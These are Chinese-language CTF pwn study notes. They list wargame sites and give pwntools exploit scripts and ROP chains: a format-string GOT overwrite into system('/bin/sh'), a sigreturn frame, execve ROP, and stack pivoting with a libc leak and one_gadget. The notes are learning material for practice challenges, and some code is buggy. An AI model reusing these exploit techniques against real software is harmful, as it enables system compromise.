https://pwnable.kr/
https://w3challs.com/challenges/wargame
http://overthewire.org/wargames/
http://www.root-me.org
https://pwnable.tw/
http://wargame.kr/
https://pwnable.xyz/
https://ropemporium.com/
————————————————
版权声明:本文为优快云博主「GJQI12」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.youkuaiyun.com/GJQI12/article/details/105425458
利用 *$rebase(0x1231)进行调试时,要时gdb上下文显现,得让调试文本与远程程序的交互至少执行到断点的位置
RTLD_GLOBAL此共享对象定义的符号将可用于后续加载的共享对象的符号解析
c语言atoi函数的需要注意的地方:被转换的字符串中如果含有abcd等这样的不可见字符,那么会被截断,因为传给atol的参数会被遇见第一个不是0~9的字符所截断 从而返回之前的值,因此当输入的地址是以str形式输入时,不能以16进制形式输入,而应当以10进制形式输入,
而且chr的作用和p8效果相当。
exit函数执行流程,exit函数的调用流程exit函数--->run_exit_handlers函数--->_dl_fini函数---> rtld_lock_unlock_recursive指针
而查看rtld_lock_unlock_recursive指针 需要动态调试gdb.attach(p,’b*$rebase(,,,)’)
而后“p _rtld_global” 而后“ p &_rtld_global.,,,”
而且据说got.plt是可写的,只需要动态调试进入界面查看即可
一般调试到jmp plt处查看,而后vmmap查找第一个被加载的libc的地址,二者进行distance
bytes类型是指一堆字节的集合,在python中以b开头的字符串都是bytes类型
b'\xe5\xb0\x8f\xe7\x8c\xbf\xe5\x9c\x88' #b开头的都代表是bytes类型,是以16进制来显示的,2个16进制代表一个字节。 utf-8是3个字节代表一个中文,所以以上正好是9个字节
bytes类型的使用举例:
# sys_read
syscall = 0x4000BE
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 0
sigframe.rdx = 0x400
sigframe.rsi = stack_addr
sigframe.rsp = stack_addr
sigframe.rip = syscall
p2 = p64(main_addr) + p64(0) + bytes(sigframe)
r.send(p2)
360chunqiu2017_smallest
本题最关键的地方在于IDA内部汇编语言的理解
如上图,不论系统函数如何调用,实际上汇编代码里头只有retn才会使栈顶指针发生变化,而且retn里面的pop一次性只对以8个字节为一个小单位有效
[GKCTF 2021]checkin
对于本题的感悟,随着技术发展,2021年这个题似乎更倾向与pwn和其他方向相结合,比如和密码方向,更加的就算考验对汇编代码的理解,本题主要是栈溢出很有限8个字节,用来覆盖ebp,而后利用汇编代码两次leave +retn进行栈迁移,迁移后的最后一个p64:puts函数的地址更为巧妙,需要仔细分析汇编代码,才能控制执行流,巧妙返回可利用函数。从而再次分析前后汇编代码,进行onegadget覆盖函数返回地址。
mrctf2020_easyrop
本题关键之处在覆盖子函数返回地址时,输入点距离返回地址的偏移量问题:
p2 = b'a' * 0x12 + p64(shell)
关键在于上面式子的理解,
比较会骗人,在IDA上需要padiing的是0x318,但是上图可以看出,在输入了0x300后
再输入0x18的垃圾数据话多了6个字节。
离谱阿~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cyclic 768用来生成重复数据
pwn题bbctf_2020_fmt_me
利用了安全函数snprintf,fgets:
p1=fmtstr_payload(offset,{atoi_:system_plt+6,system_got:main_})
这里修改为system+6是为了再次重定位
from os import system
from pwn import*
p=remote("node4.buuoj.cn",27058)
context(os="linux",arch="amd64",log_level="debug")
elf=ELF("./me")
atoi_=elf.got["atoi"]
system_got=elf.got["system"]
print(hex(system_got))
print("hello")
main_=elf.sym["main"]
print(main_)
#main_=0x4011f7
system_plt=elf.plt["system"]
offset=6
p.sendline("2")
p1=fmtstr_payload(offset,{atoi_:system_plt+6,system_got:main_})
p.recvuntil("gift.")
p.sendline(p1)
p.sendline("/bin/sh\x00")
p.interactive()
这里fmtstr_payload居然还可以用于修改64位下的got表地址
用于往某个地址里面输入值,这里是往got的地址对应空间输入值,使得函数的plt处指令直接jmp条转到地址(got表内的地址)对应处的指令开始执行
即strcpy只用于字符串复制,并且它不仅复制字符串内容之外,还会复制字符串的结束符;
由此可见‘\x61’就等价表示一个字符‘a’
ROP = p64(pop_rsi) + p64(bss) + p64(pop_rax) + '/bin//sh' + p64(mov_rax_inrsi)
这个p64是将0x开始的16进制数字转化成其ascii码对应的字符数字模式并且以‘\x,,’的形式显示,而其这里的’/bin//sh’居然可以双斜杠
def encode(s):
res = ''
for i in range(len(s)):
res += chr(ord(s[i])^0x66)
return res
ROP = p64(pop_rsi) + p64(bss) + p64(pop_rax) + '/bin//sh' + p64(mov_rax_inrsi) # input /bin/sh 而s=ROP += p64(pop_rdi) + p64(bss) + p64(pop_rdx_rsi) + p64(0)*2 + p64(pop_rax) + p64(0x3B) + p64(syscall) rop执行excve系统调用 由上面的函数可知:prd是将字符转成10进制ascii码值,异或计算完后再chr转化成字符进行拼接。chr,ord都是对一个字节进行操作 http://www.binaryconvert.com/convert_double.html此连接转换小数 太奇葩了,有时候if判断语句中的变量可以在IDA上的rodata三面查看 starctf2018_babystack的收获 以下是wp # -*- coding: utf-8 -*- from pwn import * r = process("./221") elf = ELF("./64/libc-2.27.so") context.log_level = "debug" pop_rdi = 0x400c03 pop_rsi_r15 = 0x400c01 leave_ret = 0x400955 base = elf.bss() + 0x500 puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] read_plt = elf.plt['read'] payload = 'a' * 0x1010 + p64(base - 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) #顺便做个栈迁移 payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi_r15) + p64(base) + p64(0) + p64(read_plt) #没必要改rdx payload += p64(leave_ret) payload = payload.ljust(0x2000, '\x0') r.sendlineafter("send?\n", str(0x2000)) r.send(payload) libc_addr = u64(r.recvuntil('\x7f')[-6: ].ljust(8, "\x00")) - libc.sym['puts'] one_gadget = libc_base + 0x4f322 r.send(p64(one_gadget)) r.interactive() 第一:加深了对栈迁移的理解,就是两次leave ;ret 而后这个迁移后要干的事情是执行指令,所以在迁移目的地应该放gadget或者指令地址。以便ret。而且一般栈迁移的地址要距离第一个被ret的地址8个字节 memset可以初始化内存的值 一步步理解sub_80486BB(*(char **)*(&ptr + a1), v3 + 1); 首先这个&ptr+a1就是一个bss空间前面的地址。*(&ptr + a1)就等于地址右边空间 的内容,char**指的是强制类型转成一个指向指针的指针变量,再加个*意思是*(&ptr + a1)就等于地址右边空间 的内容指向的空间的内容,就是地址右边的内容(这句话非常重要) parseheap命令在gdbdbg好用
ciscn_2019_es_1 的做题感受:
第一个就是泄露libc相关地址:利用tcache的特性申请大于0x400的chunk,而后进行释放泄露。
第二个就是
根据上图:double free的利用:本题只是释放了内部chunk(name chunk),外部chunk并没有释放,exp中第一次add成功修改tache中的列表排列,使得chunk的fd指向free_hook相关区域,而后两次申请,根据,程序,中的代码要求及申请chunk的大小要求,此时free_hook相关区域大小就是0x20,所以优先被申请为外部chunk。?????本题理解仍然有问题,,,可能需要自己调试一遍才行,这样子纯推理是不行的